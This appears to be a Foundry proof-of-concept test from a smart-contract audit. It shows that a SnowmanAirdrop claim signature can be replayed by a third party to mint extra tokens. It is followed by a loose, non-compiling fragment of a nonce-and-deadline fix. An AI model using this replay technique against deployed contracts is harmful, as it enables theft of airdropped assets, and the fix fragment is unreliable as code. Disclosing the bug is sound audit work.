pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {stdJson} from "forge-std/StdJson.sol";
import {Snow} from "../src/Snow.sol";
import {Snowman} from "../src/Snowman.sol";
import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
import {MockWETH} from "../src/mock/MockWETH.sol";
contract PoC is Test {
using stdJson for string;
Snow snow; Snowman snowman; SnowmanAirdrop airdrop; MockWETH weth;
address alice; uint256 aliceKey; address satoshi;
bytes32 root; bytes32[] proofAlice;
function setUp() public {
weth = new MockWETH();
snow = new Snow(address(weth), 5, makeAddr("collector"));
snowman = new Snowman("data:image/svg+xml;base64,xxx");
string memory output = vm.readFile(string.concat(vm.projectRoot(), "/script/flakes/output.json"));
root = output.readBytes32("[0].root");
proofAlice = output.readBytes32Array("[0].proof");
airdrop = new SnowmanAirdrop(root, address(snow), address(snowman));
(alice, aliceKey) = makeAddrAndKey("alice");
satoshi = makeAddr("satoshi");
}
function _mintOneSnow(address who) internal { vm.deal(who, 1000 ether); vm.prank(who); snow.buySnow{value: snow.s_buyFee()}(1); }
function _approveAirdrop(address who) internal { vm.prank(who); snow.approve(address(airdrop), type(uint256).max); }
function _sign(address who, uint256 key) internal returns (uint8 v, bytes32 r, bytes32 s) { (v, r, s) = vm.sign(key, airdrop.getMessageHash(who)); }
function test_high_replayableSignature() public {
_mintOneSnow(alice);
_approveAirdrop(alice);
(uint8 v, bytes32 r, bytes32 s) = _sign(alice, aliceKey);
vm.prank(satoshi);
airdrop.claimSnowman(alice, proofAlice, v, r, s);
assertEq(snowman.balanceOf(alice), 1);
_mintOneSnow(alice);
_approveAirdrop(alice);
vm.prank(satoshi);
airdrop.claimSnowman(alice, proofAlice, v, r, s);
assertEq(snowman.balanceOf(alice), 2);
}
}
struct SnowmanClaim {
address receiver;
uint256 amount;
uint256 nonce;
uint256 deadline;
}
mapping(address => uint256) private s_nonce;
error SA__SignatureExpired();
function getMessageHash(address receiver) public view returns (bytes32) {
if (i_snow.balanceOf(receiver) == 0) revert SA__ZeroAmount();
uint256 amount = i_snow.balanceOf(receiver);
return _hashTypedDataV4(keccak256(abi.encode(
MESSAGE_TYPEHASH,
SnowmanClaim({receiver: receiver, amount: amount, nonce: s_nonce[receiver], deadline: block.timestamp})
)));
}